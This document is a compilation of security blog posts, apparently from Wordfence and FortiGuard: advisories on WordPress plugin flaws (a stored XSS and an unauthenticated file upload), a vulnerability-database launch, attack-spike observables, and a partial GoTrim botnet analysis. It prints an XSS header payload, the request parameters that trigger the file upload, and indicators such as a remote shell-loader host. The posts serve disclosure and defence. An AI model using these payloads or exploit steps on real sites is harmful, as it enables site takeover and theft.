Update Now! Severe Vulnerability Impacting 600,000 Sites Patched in Limit Login Attempts

On January 26, 2023, the Wordfence team responsibly disclosed an unauthenticated stored Cross-Site Scripting vulnerability in Limit Login Attempts, a WordPress plugin installed on over 600,000 sites that provides site owners with the ability to block IP addresses that have made repeated failed login attempts.

The plugin is vulnerable in versions up to, and including, 1.7.1. A patch addressing this vulnerability was released on April 4, 2023 as version 1.7.2. We recommend all site owners update to version 1.7.2 as soon as possible.

All Wordfence PremiumWordfence Care, and Wordfence Response customers, along with those still using the free version of the plugin, are protected by the Wordfence firewall against any exploits targeting this vulnerability.

Description: Limit Login Attempts <= 1.7.1 – Unauthenticated Stored Cross-Site Scripting
Affected Plugin: Limit Login Attempts
Plugin Slug: limit-login-attempts
Affected Versions: <= 1.7.1
CVE ID: CVE-2023-1912
CVSS Score: 7.2 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Researcher/s: Marco Wotschka
Fully Patched Version: 1.7.2

The Limit Login Attempts plugin offers some simple configuration options. These include a maximum number of login retries, lockout duration, lockout expiration times as well as some logging and notification options. The vulnerability, assigned CVE-2023-1912, requires a specific configuration: the site connection option must be set to “From behind a reversy [sic] proxy” and logging of IP addresses on lockout must be enabled. 

With the reverse proxy detection option enabled, the plugin uses the X-Forwarded-For header to determine the visitor’s IP address. While this HTTP header is spoofable, the plugin does offer its use as an alternative for those who are behind a load balancer or cache handler. It does not use this setting by default.

With the plugin’s logging feature enabled, login blocks are logged and displayed on the configuration page. The following code accomplishes this (slightly edited for legibility).

As can be seen, this function assembles a table of information but does not escape the values it uses. While sanitization is recommended as input is received, escaping output, even if it is already sanitized, is a far more effective tool in preventing Cross-Site Scripting. Unfortunately, this plugin was not utilizing either sanitization or escaping of the stored IP value that could be supplied via the X-Forwarded-For header.

To exploit this vulnerability, an attacker could send a login request with the following X-Forwarded-For header set:

X-Forwarded-For: <span onmouseover=alert(1)>23.23.23.23</span>

This header can be set via many methods, such as through a browser plugin or by intercepting the login request and adding it manually. Once the plugin’s blocking threshold is met, it will record the above code as the blocked IP and execute the malicious JavaScript code when an administrator visits the configuration page where the list of blocked IP addresses is displayed. This malicious code is executed under the authentication of an administrator and can be utilized to help facilitate a site takeover.

Cross-Site Scripting Vulnerabilities are the result of missing sanitization and unescaped display of user input. Most commonly, we see user input that is exploitable to Cross-Site Scripting collected via a form. In this vulnerability, the processed information is still provided by a user, but collected via a different and more unusual route which is why proper sanitization and escaping may have been missed.

Timeline

January 26, 2023 – We reached out directly to the WordPress Plugin Security Team as no contact information was readily available for the developer of the plugin.
March 24, 2023 – The WordPress Plugin Security Team team acknowledges receipt of our report.
April 4, 2023 – Version 1.7.2 addresses this issue.

Conclusion

In today’s post, we covered an unauthenticated Cross-Site Scripting vulnerability via the X-Forwarded-For header in the Limit Login Attempts plugin. This can be leveraged by unauthenticated attackers to facilitate a site takeover by injecting malicious JavaScript into the database of an affected site that may execute when a site administrator accesses the logging page.

Again, all Wordfence PremiumWordfence Care, and Wordfence Response customers, along with those still using the free version of the plugin, are protected by the Wordfence firewall for any exploits targeting this vulnerability.

Special Note: We independently discovered this vulnerability in January while reviewing a vulnerability in another plugin. We followed our responsible disclosure process and reported it to the WordPress Plugin Security Team, ensured it got patched, and published it to our vulnerability database once a patch was released. After adding the vulnerability to our database, we were made aware of another unnamed security researcher who also discovered this issue and publicly disclosed details about this vulnerability five years ago without ensuring the vulnerability got patched, which does not follow standard practice. Regardless, we would like to make mention of this so the other researcher who also found the vulnerability receives credit.

If you have any friends or colleagues who are using this plugin, please share this announcement with them and encourage them to update to the latest version of Limit Login Attempts as soon as possible.

If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence leaderboard.

Did you enjoy this post? Share it!

Source :
https://www.wordfence.com/blog/2023/04/update-now-severe-vulnerability-impacting-600000-sites-patched-in-limit-login-attempts/

Wordfence Launches Free Vulnerability Database For Commercial Use – And Launches Security Portal

Today we are incredibly excited to announce that Wordfence is launching an entirely free vulnerability database API and web interface, available for commercial use by hosting companies, security organizations, threat analysts, security researchers, and the WordPress user community. This is part of a larger project known as Wordfence Intelligence Community Edition, which we are launching today.

This year at Blackhat in Las Vegas, Wordfence launched Wordfence Intelligence, an enterprise product providing organizations with data feeds derived from the attack telemetry we receive from Wordfence users. We did this with one goal in mind: to further secure the Web by enabling enterprises and network defenders with the ability to implement our threat intelligence in a way that will better secure their infrastructure and customers. Wordfence Intelligence includes malware signatures, IP threat feeds and a malware hash feed to enable enterprises to deploy our data at the network and server level.

Wordfence Intelligence Community Edition is a set of data available free for the community to use, and it includes an enterprise quality vulnerability database, and an API that provides a full up-to-date download in JSON format, completely free with no registration required. We are investing heavily in this database by growing the team, maintaining and curating the existing data, and adding new vulnerabilities as soon as they are discovered.

There is no delay on how quickly we add vulnerabilities to this free database. As soon as a vulnerability is disclosed, we add it. There is also no limitation on the use of this data, other than an attribution requirement for vulnerabilities sourced from MITRE, and an attribution requirement for our own vulnerabilities. Each vulnerability record includes the data you need to provide this attribution on your user interface.

Our hope is that hosting companies, software developers and security providers will turn this data into free and commercial security products that will improve the security of the WordPress community. By giving the data away for free, and allowing commercial use, we are acting as a catalyst for innovation in the vulnerability scanning space. Individual developers no longer have an expensive barrier to entry if they want to implement a new kind of vulnerability scanning software for the community. It is our hope that this database will foster innovation in the WordPress security space and improve the security of the WordPress community as a whole.

Wordfence Intelligence Community Edition has the stated goal of uplifting the research community and raising the profile of talented security researchers who make valuable contributions to our community, and who make us all safer. To this end, we are launching with security researcher profile pages, a security researcher leaderboard, and each vulnerability will link to the relevant researcher who discovered the vulnerability. We will also be adding the ability for researchers to edit their own profile page so that they can add links to their resume or personal website. Expect this in the coming weeks.

We will be launching web hooks in the coming weeks that will proactively and programmatically alert users and applications to the release of a new vulnerability. This provides real-time awareness of a new vulnerability, and makes the time between announcement and mitigation of a new vulnerability approach zero.

Defiant Inc and the Wordfence team are investing heavily in this vulnerability database. We are actively recruiting talented security analysts to triage inbound vulnerabilities, and we are recruiting researchers to discover new vulnerabilities in WordPress core, plugins and themes.

Yesterday evening I sat down with Chloe Chamberland, head of product for Wordfence Intelligence, in our studio in Centennial, Colorado, to chat about this exciting product that her and her team are launching today. Here is the conversation.

That concludes the executive summary portion of this post. The rest of this post is written by Chloe Chamberland who heads up the Wordfence Intelligence product. Chloe describes Wordfence Intelligence Community Edition and the vulnerability database and API in more detail.  I’d like to extend my congratulations and thanks to Chloe and her team, our security analysts who worked so hard on creating the data in this database, and continue to do so, and to our engineering team for this launch.

~Mark Maunder – Wordfence Founder & CEO.

Introducing Wordfence Intelligence Community Edition

Wordfence Intelligence Community Edition is a threat intelligence data platform which currently consists of an incredibly comprehensive database of WordPress vulnerabilities. We’ve designed this platform with vulnerability researchers, site owners, and security analysts in mind. Each vulnerability has been manually curated by our team of vulnerability analysts and has been populated using historical data from the CVE list, Google fu’ing, and many other vulnerability sources. Each vulnerability record contains details such as the CVSS score, CWE type, a description of the vulnerability, affected software components, the original researcher(s), and more.

Our goal is to provide site owners with as much information needed to effectively secure their WordPress websites while also providing security analysts and researchers the information needed to be able monitor the WordPress threat landscape so they can respond to threats in a timely manner and provide their insights back to the community.

The Wordfence Intelligence Community Edition vulnerability database currently contains over 8,000 unique vulnerability records covering nearly 10,000 vulnerabilities across WordPress core, themes, and plugins. Over the coming months we will continue to actively develop and release features that will enrich the experience of users accessing and using the platform.

We will continue to populate historical vulnerability data while also ensuring we have the most comprehensive and current vulnerability database on the market for the community to use.

Key Features of Wordfence Intelligence Community Edition

Overview of Attack Data Targeting WordPress Sites

On the dashboard of Wordfence Intelligence Community Edition, users can see insights on data related to attack volume targeting WordPress websites. This includes the total number of login attacks and exploit attempts the Wordfence Firewall has blocked, the total number of malware sightings the Wordfence Scanner and our incident response team has observed, along with the top 10 attacking IP addresses in the past 24 hours, the top 10 unique WordPress vulnerabilities being targeted in the past 24 hours, and the top 5 generic vulnerability types being targeted in the past 24 hours in addition to their attack volume. This data can be used to make more informed decisions on the threats faced by WordPress site owners for better risk mitigation. This data can also be used to enhance security research in the WordPress space.

Select Vulnerabilities Enriched with Attack Data

Select vulnerabilities in the database are enriched with data on the attack volume targeting those particular vulnerabilities in the past 24 hours. This gives unparalleled insight into the threat landscape for WordPress, providing site owners, analysts, and security researchers with current and up to date information on the most attacked WordPress vulnerabilities.

Researcher Hall of Fame & Leaderboard

All researchers credited with discoveries in our database are in our Researcher Hall of Fame with their total vulnerability count for the past 30 days and for all time. Researchers can see their all time and 30 day ranking compared to other researchers in the field. Researchers who want to be higher up on the leaderboard will need to find and responsibly disclose more vulnerabilities than their fellow researchers. We hope that this will create a friendly competition to encourage more vulnerability research that in turn makes the WordPress ecosystem more secure.

Individual Researcher Vulnerability Finds All in One Place

Each researcher has their own unique page that lists the total number of vulnerabilities they have discovered in the past 30 days and all time, along with the list of all the vulnerability finds that have been attributed to that researcher. This can be shared with anyone from prospective job employers who may want to see an individual’s previous research, to friends and family researchers may want to show off their work to. Whatever the purpose, this was designed for researchers to be able to hold all of their vulnerability discoveries in one central place.

If you’re a researcher, and your page is missing some of your vulnerability discoveries, please make sure to fill out our vulnerability submissions form here. Any vulnerability reported to us will receive a CVE ID and we will gladly assign CVE IDs to any older discoveries you may have already in our database upon request.

Wordfence Scan Results Enhanced

The Wordfence scanner will now provide a link to the Wordfence Intelligence Community Edition Vulnerability Database’s applicable record when a vulnerability has been detected on a site. This can be used to obtain more information about a vulnerability so that site owners can make informed decisions on how to proceed with remediating any given vulnerability. In most cases the solution is to update to a newer patched version, however, in cases where a plugin or theme has been closed and there is no patch available, this information will help guide decision making when assessing a site’s risk.

It takes a community.

That is why we are calling this Wordfence Intelligence Community Edition. A vast majority of the vulnerabilities in our database are from independent researchers and other organizations conducting security research on WordPress plugins, themes, and core. Without them and their dedicated work finding and responsibly disclosing vulnerabilities, there would be no database of WordPress vulnerabilities to catalog and there would not be nearly as many patches, or opportunities to secure WordPress websites, available to site owners. That’s why we will make sure finding information about vulnerabilities is as easy as possible and researchers get the credit they deserve with Wordfence Intelligence Community Edition.

As we continue to evolve this platform, we will keep this at the forefront of our minds and ensure we continue to deliver a product that will help make the WordPress ecosystem more secure and have a positive impact on the community of security researchers working to make this possible.

In return, we would like to ask the community to help us in making sure this remains the best resource for the community. If you’d like to add any additional details to our vulnerability records or have vulnerabilities you have discovered that should be added to the database, we hope that you’ll reach out to us so we can further improve the database that will remain accessible to all.

A Gift to the Community.

As part of this launch, we have made the vulnerability data feed from Wordfence Intelligence, completely free to access. The feed contains a complete dump of the vulnerabilities and related data in our database  You can find the documentation on what is included in this API and how to query it here.  You are more than welcome to implement this data in whatever way you would like commercially and personally. We hope that by making this accessible to everyone, we can create a more secure WordPress ecosystem and better platform for researchers to get the credit they deserve.

This is just the beginning. Stay tuned, and make sure you are signed up for our mailing list, for more exciting things to come!

CHECK OUT WORDFENCE INTELLIGENCE COMMUNITY EDITION NOW!

I would like to say a huge congratulations and special thank you to everyone on the Wordfence team that made Wordfence Intelligence Community Edition come to life. From our threat intelligence team processing and manually creating thousands of vulnerability records over a several month period, to our engineering and QA teams who have developed and tested this incredible platform. Without your dedicated work, we would not be able to make the online WordPress community a more secure place for all.

Did you enjoy this post? Share it!

Source :
https://www.wordfence.com/blog/2022/12/wordfence-free-vulnerability-database/

PSA: YITH WooCommerce Gift Cards Premium Plugin Exploited in the Wild

The Wordfence Threat Intelligence team has been tracking exploits targeting a Critical Severity Arbitrary File Upload vulnerability in YITH WooCommerce Gift Cards Premium, a plugin with over 50,000 installations according to the vendor.

The vulnerability, reported by security researcher Dave Jong and publicly disclosed on November 22, 2022, impacts plugin versions up to and including 3.19.0 and allows unauthenticated attackers to upload executable files to WordPress sites running a vulnerable version of the plugin. This allows attackers to place a back door, obtain Remote Code Execution, and take over the site.

All Wordfence customers, including Wordfence PremiumCare, and Response customers as well as Wordfence free users, are protected against exploits targeting this vulnerability by the Wordfence firewall’s built-in file upload rules which prevent the upload of files with known dangerous extensions, files containing executable PHP code, and known malicious files.

We highly recommend updating to the latest version of the plugin, which is 3.21.0 at the time of this writing.


Description: Unauthenticated Arbitrary File Upload
Affected Plugin: Yith WooCommerce Gift Cards Premium
Plugin Slug: yith-woocommerce-gift-cards-premium
Affected Versions: <= 3.19.0
CVE IDCVE-2022-45359
CVSS Score: 9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
Researcher/s: Dave Jong
Fully Patched Version: 3.20.0

We were able to reverse engineer the exploit based on attack traffic and a copy of the vulnerable plugin and are providing information on its functionality as this vulnerability is already being exploited in the wild and a patch has been available for some time.

The issue lies in the import_actions_from_settings_panel function which runs on the admin_init hook.

Since admin_init runs for any page in the /wp-admin/ directory, it is possible to trigger functions that run on admin_init as an unauthenticated attacker by sending a request to /wp-admin/admin-post.php.

Since the import_actions_from_settings_panel function also lacks a capability check and a CSRF check, it is trivial for an attacker to simply send a request containing a page parameter set to yith_woocommerce_gift_cards_panel, a ywgc_safe_submit_field parameter set to importing_gift_cards, and a payload in the file_import_csv file parameter.

Since the function also does not perform any file type checks, any file type including executable PHP files can be uploaded.

151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541publicfunctionimport_actions_from_settings_panel() {    if( ! isset( $_REQUEST['page'] ) || 'yith_woocommerce_gift_cards_panel'!= $_REQUEST['page'] || ! isset( $_REQUEST['ywgc_safe_submit_field'] ) ) {        return;    }    if( $_REQUEST['ywgc_safe_submit_field'] == 'importing_gift_cards') {        if( ! isset( $_FILES['file_import_csv'] ) || ! is_uploaded_file( $_FILES['file_import_csv']['tmp_name'] ) ) {            return;        }        $uploaddir= wp_upload_dir();        $temp_name= $_FILES['file_import_csv']['tmp_name'];        $file_name= $_FILES['file_import_csv']['name'];        if( ! move_uploaded_file( $temp_name, $uploaddir['basedir'] . '\\'. $file_name) ) {            return;        }        $this->import_from_csv( $uploaddir['basedir'] . '\\'. $file_name, get_option( 'ywgc_csv_delimitier', ';') );    }}

Cyber Observables

These attacks may appear in your logs as unexpected POST requests to wp-admin/admin-post.php from unknown IP addresses. Additionally, we have observed the following payloads which may be useful in determining whether your site has been compromised. Note that we are providing normalized hashes (hashes of the file with all extraneous whitespace removed):

kon.php/1tes.php – this file loads a copy of the “marijuana shell” file manager in memory from a remote location at shell[.]prinsh[.]com and has a normalized sha256 hash of 1a3babb9ac0a199289262b6acf680fb3185d432ed1e6b71f339074047078b28c

b.php – this file is a simple uploader with a normalized sha256 hash of 3c2c9d07da5f40a22de1c32bc8088e941cea7215cbcd6e1e901c6a3f7a6f9f19

admin.php – this file is a password-protected backdoor and has a normalized sha256 hash of 8cc74f5fa8847ba70c8691eb5fdf8b6879593459cfd2d4773251388618cac90d

Although we’ve seen attacks from more than a hundred IPs, the vast majority of attacks were from just two IP addresses:

103.138.108.15, which sent out 19604 attacks against 10936 different sites
and
188.66.0.135, which sent 1220 attacks against 928 sites.

The majority of attacks occurred the day after the vulnerability was disclosed, but have been ongoing, with another peak on December 14, 2022. As this vulnerability is trivial to exploit and provides full access to a vulnerable website we expect attacks to continue well into the future.

Recommendations

If you are running a vulnerable version of YITH WooCommerce Gift Cards Premium, that is, any version up to and including 3.19.0, we strongly recommend updating to the latest version available. While the Wordfence firewall does provide protection against malicious file uploads even for free users, attackers may still be able to cause nuisance issues by abusing the vulnerable functionality in less critical ways.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both of these products include hands-on support in case you need further assistance. If you have any friends or colleagues who are using this plugin, please share this announcement with them and encourage them to update to the latest patched version of YITH WooCommerce Gift Cards Premium as soon as possible.

If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence Community Edition leaderboard.

Did you enjoy this post? Share it!

Source :
https://www.wordfence.com/blog/2022/12/psa-yith-woocommerce-gift-cards-premium-plugin-exploited-in-the-wild/

Spikes in Attacks Serve as a Reminder to Update Plugins

The Wordfence Threat Intelligence team continually monitors trends in the attack data we collect. Occasionally an unusual trend will arise from this data, and we have spotted one such trend standing out over the Thanksgiving holiday in the U.S. and the first weekend in December. Attack attempts have spiked for vulnerabilities in two plugins.

The larger spikes have been from attempts to exploit an arbitrary file upload vulnerability in Kaswara Modern VC Addons <= version 3.0.1, for which a rule was added to the Wordfence firewall and available to Wordfence PremiumWordfence Care, and Wordfence Response users on April 21, 2021 and released to users of Wordfence Free on May 21, 2021. The other vulnerability is an arbitrary file upload and arbitrary file deletion vulnerability in the Adning Advertising plugin with versions <= 1.5.5, with our firewall rule being added on June 25, 2020 and made available to free users on July 25, 2020.

Kaswara and Adning exploit attempts per day

One thing that makes these spikes interesting is the fact that they are occurring over holidays and weekends. The first spike began on November 24, 2022, which was the Thanksgiving holiday in the United States. This spike lasted for three days. The second spike looked a little different, starting on Saturday, December 3, 2022, dropping on Sunday, and finishing with its peak on Monday. These spikes serve as an important reminder that malicious actors are aware that website administrators are not paying as close attention to their sites on holidays and weekends. This makes holidays and weekends a desirable time for attacks to be attempted.

During these spikes, exploit attempts have been observed against the Kaswara vulnerability on 1,969,494 websites, and on 1,075,458 sites against the Adning vulnerability. In contrast, the normal volume of sites with exploit attempts being blocked is an average of 256,700 for the Kaswara vulnerability, and 374,801 for the Adning vulnerability.

Kaswara and Adning sites comparison with spikes

The Kaswara Modern VC Addons plugin had more than 10,000 installations at the time the vulnerability was disclosed on April 21, 2021, and has since been closed without a patch being released. As long as this plugin is installed, it leaves the site vulnerable to attacks that make it possible for unauthenticated attackers upload malicious files that could ultimately lead to a full site takeover due to the fact that the ability to upload PHP files to servers hosting WordPress makes remote code execution possible. Any WordPress website administrators who are still using the plugin should immediately remove the plugin and replace it with a suitable alternative if the functionality is still required for the site, even if you are protected by the Wordfence firewall, as the plugin has not been maintained and may contain other issues. We estimate that about 8,000 WordPress users are still impacted by a vulnerable version, making them an easy target.

The Adning Advertising plugin had more than 8,000 users when our Threat Intelligence team performed our initial investigation of vulnerability on June 24, 2020. After some analysis, we found two vulnerabilities in the plugin, one that would allow an unauthenticated attacker to upload arbitrary files, also leading to easy site takeover. We also found an unauthenticated arbitrary file deletion vulnerability that could just as easily be used for complete site compromise by deleting the wp-config.php file. After we notified the plugin’s author of the vulnerabilities, they quickly worked to release a patched version within 24 hours. Any users of the Adning Advertising plugin should immediately update to the latest version, currently 1.6.3, but version 1.5.6 is the minimum version that includes the patch. We estimate that about 680 WordPress users are still impacted by a vulnerable version of this plugin.

The key takeaway from these attack attempts is to make sure your website components are kept up to date with the latest security updates. When a theme or plugin, or even the WordPress core, has an update available, it should be updated as soon as safely possible for the website. Leaving unpatched vulnerabilities on the website opens a website up to possible attack.

Cyber Observables

The following are the common observables we have logged in these exploit attempts. If any of these are observed on a website or in logs, it is an indication that one of these vulnerabilities has been exploited. The IP addresses listed are specifically from the spikes we have seen over the Thanksgiving holiday and the first weekend in December.

Kaswara

Top ten IPs
  • 40.87.107.73
  • 65.109.128.42
  • 65.21.155.174
  • 65.108.251.64
  • 5.75.244.31
  • 65.109.137.44
  • 65.21.247.31
  • 49.12.184.76
  • 5.75.252.228
  • 5.75.252.229
Common Uploaded Filenames

There were quite a few variations of randomly named six-letter filenames, two are referenced below, but each one observed used the .zip extension.

  • a57bze8931.zip
  • bala.zip
  • jwoqrj.zip
  • kity.zip
  • nkhnhf.zip
Top Ten User-Agent Strings
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 X-Middleton/1
  • Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
  • Amazon CloudFront
  • Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
  • Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
  • Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
  • Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36

Adning

Top Ten IPs
  • 65.109.128.42
  • 65.108.251.64
  • 65.21.155.174
  • 5.75.244.31
  • 65.109.137.44
  • 65.21.247.31
  • 5.75.252.229
  • 65.109.138.122
  • 40.87.107.73
  • 49.12.184.76
Common Uploaded Filenames

Most observed exploit attempts against the Adning plugin appeared to be nothing more than probing for the vulnerability, but in one instance the following filename was observed as a payload.

  • files
Top Ten User-Agent Strings
  • python-requests/2.28.1
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
  • Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
  • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
  • python-requests/2.28.1 X-Middleton/1
  • python-requests/2.26.0
  • python-requests/2.27.1
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; @longcat) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 X-Middleton/1
  • ALittle Client
Conclusion

In this post we discussed two vulnerabilities that have spiked over the past two weekends. Removing or updating vulnerable plugins is always the best solution, but a Web Application Firewall like the one provided by Wordfence is important to block exploit attempts and can even protect your site from attacks targeting unknown vulnerabilities. The Wordfence firewall protects all Wordfence users, including Wordfence FreeWordfence PremiumWordfence Care, and Wordfence Response, against these vulnerabilities. Even with this protection in place, these vulnerabilities are serious as they can lead to full site takeover, and the Kaswara Modern VC Addons should be immediately removed, and the Adning Advertising plugin should immediately be updated.

Did you enjoy this post? Share it!

Source :
https://www.wordfence.com/blog/2022/12/spikes-in-attacks-serve-as-a-reminder-to-update-plugins/

GoTrim: Go-based Botnet Actively Brute Forces WordPress Websites

FortiGuard Labs recently encountered a previously unreported Content Management System (CMS) scanner and brute forcer written in the Go programming language (also commonly referred to as Golang). We took a closer look at this malware because it was being described in several online forums as being installed in compromised WordPress sites, but there were no publicly available analysis reports.

  • Affected Platforms: Linux
  • Impacted Users: Any organization
  • Impact: Remote attackers gain control of the vulnerable systems
  • Severity Level: Critical

Golang brute forcers are not new. For example, we previously reported on the StealthWorker campaign in 2019. This new brute forcer is part of a new campaign we have named GoTrim because it was written in Go and uses “:::trim:::” to split data communicated to and from the C2 server.

Similar to StealthWorker, GoTrim also utilizes a bot network to perform distributed brute force attacks. The earliest sample we found was from Sep 2022. That campaign is still ongoing at the time of writing.   

This article details how this active botnet scans and compromises websites using WordPress and OpenCart. We also highlight some differences between samples collected from Sep to Nov 2022 at the end of the article.

Attack Chain

Screenshot of Figure 1: GoTrim attack chainFigure 1: GoTrim attack chain

GoTrim uses a bot network to perform distributed brute force attacks against its targets. Each bot is given a set of credentials to use to attempt to log into a long list of website targets. After a successful login, a bot client is installed into the newly compromised system. It then awaits further commands from the threat actors, thereby expanding the bot network.

GoTrim only reports credentials to the C2 server after a successful brute force attempt. We did not observe any code in GoTrim for propagating itself or deploying other malware. However, we did find PHP scripts that download and execute GoTrim bot clients. It seems likely that the threat actor is somehow abusing compromised credentials to deploy PHP scripts to infect systems with GoTrim.

Screenshot of Figure 2: PHP downloader scriptFigure 2: PHP downloader script

Typically, each script downloads the GoTrim malware from a hardcoded URL to a file in the same directory as the script itself and executes it. To cover its tracks, both the downloader script and GoTrim brute forcer are deleted from the infected system. It does not maintain persistence in the infected system.

Static Analysis

Analysis detailed in this article is based on a sample with SHA-256 hash c33e50c3be111c1401037cb42a0596a123347d5700cee8c42b2bd30cdf6b3be3, unless stated otherwise.

GoTrim is built with Go version 1.18. As with all Go applications, all third-party libraries used in the code are statically linked to the malware, resulting in a relatively bigger file size for the executable binary. But this has the advantage of not depending on any external files to execute correctly. To solve the size issue, the malware is packed using UPX to reduce the file from 6 MB to 1.9 MB.

Another advantage of using Go is that the same source code can be cross-compiled to support different architectures and Operating Systems. Based on the source code paths in the samples, Windows was used during the development of GoTrim. However, we have only observed samples targeting 64-bit Linux in the wild.

C2 Communication

GoTrim can communicate with its Command and Control (C2) server in two ways: a client mode, where it sends HTTP POST requests to the Command and Control (C2 server), or a server mode, where it starts an HTTP server to listen for incoming POST requests. All data exchanged with the C2 is encrypted using the Advanced Encryption Standard in Galois Counter Mode (AES-GCM) with a key derived from a passphrase embedded in the malware binary.

By default, GoTrim attempts to run in server mode if the infected malware is directly connected to the Internet—that is, if the victim’s outbound or local IP address is non-private. Otherwise, it switches to client mode.

Upon execution, GoTrim creates an MD5 hash representing a unique identification for the infected machine (bot ID). This is generated from the following string containing several pieces of information delimited by the “:” character:

VICTIM_EXTERNAL_IP:HTTP_SERVER_PORT:1:OUTBOUND_IP:AES_PASSPHRASE

  • VICTIM_EXTERNAL_IP: External/public IP of the machine
  • HTTP_SERVER_PORT: HTTP server port. This is a randomly generated number between 4000 to 8000 for the HTTP server in server mode. It is always 0 for client mode.
  • Malware initialization flag: Always set to 1 by the time the bot ID is being calculated
  • OUTBOUND_IP: Outbound/local IP address of the victim machine.
  • AES_PASSPHRASE: Hardcoded string embedded into each sample. This malware later uses the SHA256 hash of this string as the AES-GCM key for encrypting its communication with the C2 server. The same AES passphrase is shared among all samples we observed.

After generating the bot ID, GoTrim creates an asynchronous Go routine (similar to multithreading) that sends a beacon request to the C2 server on both client and server modes.

The C2 request URLs change between versions, as discussed in a later section of this article. For this particular sample, the beacon request URL is “/selects?dram=1”.

In this beacon request, several pieces of victim and bot information are sent to the C2 server, as seen in Figure 3.

Screenshot of Figure 3: Screenshot of data sent to the C2 serverFigure 3: Screenshot of data sent to the C2 server

Some of the interesting fields sent in the beacon request include the following:

1. Bot ID: unique ID for the bot
2. External IP: public IP address of the victim machine
3. HTTP Server Port: randomly generated port for the HTTP server (0 in client mode)
4. Malware Initialization Flag: always set to 1 by the time this request is made
5. Outbound IP: local IP address of the victim machine
6. Status Message: The “GOOD” message is replaced by other strings that report the status of any running CMS detection or brute forcing tasks during subsequent beacon requests.
7. Status Flags: These indicate whether the malware currently has any processing tasks assigned by the C2 server and the IDs of these tasks
8. MD5 Checksum: This value is generated from parts of the above request and the hardcoded AES passphrase. It serves as a message integrity checksum.

The fields are joined together with the :::trim:::string, hence the name chosen for this campaign. The data is then encrypted using an AES-256-GCM key, the SHA-256 hash of the previously mentioned passphrase.

The server usually responds with “OK”, “404 page not found”, or “BC”, all encrypted with the same AES-GCM key. When “BC” is received, GoTrim will regenerate its bot ID and switch from server to client mode.

The first beacon request is to register a new bot (victim) to the bot network.

After each beacon request, GoTrim sleeps between a few seconds to several minutes, depending on the C2 server response and whether the malware is currently working on C2-assigned tasks before sending the next request. The malware regularly performs this beacon request to update the C2 server about the bot’s status, including successful credentials, as discussed in the brute forcing section of the article. If GoTrim fails to receive a valid response from the C2 server after 100 retries, it will terminate itself.

While the beacon requests are being sent asynchronously to update the C2 server on its status, GoTrim either sends a request to the C2 server to receive commands (client mode) or sets up an HTTP server to listen for incoming tasking requests (server mode).

Client Mode

In client mode, the malware sends a POST request to “/selects?bilert=1” to receive commands from the C2 server.

The C2 server responds with the command encrypted with the same AES-GCM key. An example of a decrypted command can be seen below in Figure 4.

Screenshot of Figure 4: Screenshot of the response containing the command and its optionsFigure 4: Screenshot of the response containing the command and its options

After splitting the data by the “:::trim:::” string, seven fields can be identified, as listed below.

1. MD5 Checksum: used for checking message integrity, e.g., 83217f8b39dccc2f9f2a0157f0236c4f
2. Command ID: This indicates the command for the current task
3. Concurrency Level: This affects how many goroutines are executed for each task
4. Command Options: This contains options for the commands, separated by 7E 6A 71 6D 70 C2 A9 (~jqmp©) bytes. They are interpreted differently depending on the command:

a. Target List: This is GZIP-compressed data, which, when decompressed, contains a list of domains that will be the target for the login attempts.
b. Command Option 1 (redacted): This option contains the username for authentication commands. Instead of using the same username for each domain, the C2 server can specify a series of bytes, like C2 A9 64, to use the domain as the username.
c. Command Option 2 (redacted): For authentication commands, this option contains the password
d. Command Option 3: Unknown option for WordPress authentication
e. Command Option 4: Option for WordPress authentication to use either POST request or XML-RPC when submitting credentials.

5. Internal Values: Numeric values that are not used by the malware itself (e.g., 42 and 255) and likely represent internal tasking IDs for the current command.    

The malware supports the following commands:

  • 1: Validate provided credentials against WordPress domains
  • 2: Validate provided credentials against Joomla! domains (currently not implemented)
  • 3: Validate provided credentials against OpenCart domains
